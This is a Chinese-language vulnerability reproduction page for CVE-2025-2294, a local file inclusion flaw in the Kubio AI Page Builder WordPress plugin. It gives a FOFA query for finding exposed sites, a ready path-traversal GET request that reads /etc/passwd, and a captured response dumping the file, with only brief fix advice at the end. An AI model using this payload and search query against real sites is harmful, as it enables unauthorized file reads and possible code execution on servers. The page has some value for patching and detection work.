

WordPress 未授权本地文件包含漏洞（CVE-2025-2294）

漏洞描述

适用于 WordPress 的 Kubio AI Page Builder 插件在 2.5.1 之前的所有版本中都容易受到本地文件包含 thekubio_hybrid_theme_load_template 的攻击。这使得未经身份验证的攻击者可以在服务器上包含和执行任意文件，从而允许执行这些文件中的任何 PHP 代码。这可用于绕过访问控制、获取敏感数据，或在可以上传和包含图像和其他“安全”文件类型的情况下实现代码执行。

影响版本

Kubio AI Page Builder <= 2.5.1

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="wp-content/plugins/kubio/"

POC/EXP：

```
GET /?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36
Connection: close
```

Request

<>数据包扫描美化热加载构造请求

1GET/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../etc/passwdHTTP/1.12Host?:3User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.364Connection:close

Responses2157bytes / 461ms美化渲染编码

1HTTP/1.1 200 OK2Date:Mon, 31 Mar 2025 09:31:33 GMT3Server:Apache/2.4.37 (Oracle Linux Server)4X-Powered-By:PHP/7.4.335Link:<http://index.php/wp-json/>; rel="https://api.w.org/"6Connection:close7Content-Type:text/html; charset=UTF-88Content-Length:2157910root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin11daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin12lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin:/sync13shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt14mail:x:8:12:mail:/var/spool/mail:/sbin/nologin15operator:x:11:0:operator:/root:/sbin/nologin16games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP17User:/var/ftp:/sbin/nologin nobody:x:65534:65534:Kernel Overflow18User:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin19tss:x:59:59:Account used for TPM access:/:/sbin/nologin20systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin21systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin22clevis:x:998:994:Clevis Decryption Framework unprivileged23user:/var/cache/clevis:/sbin/nologin unbound:x:997:993:Unbound DNS

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本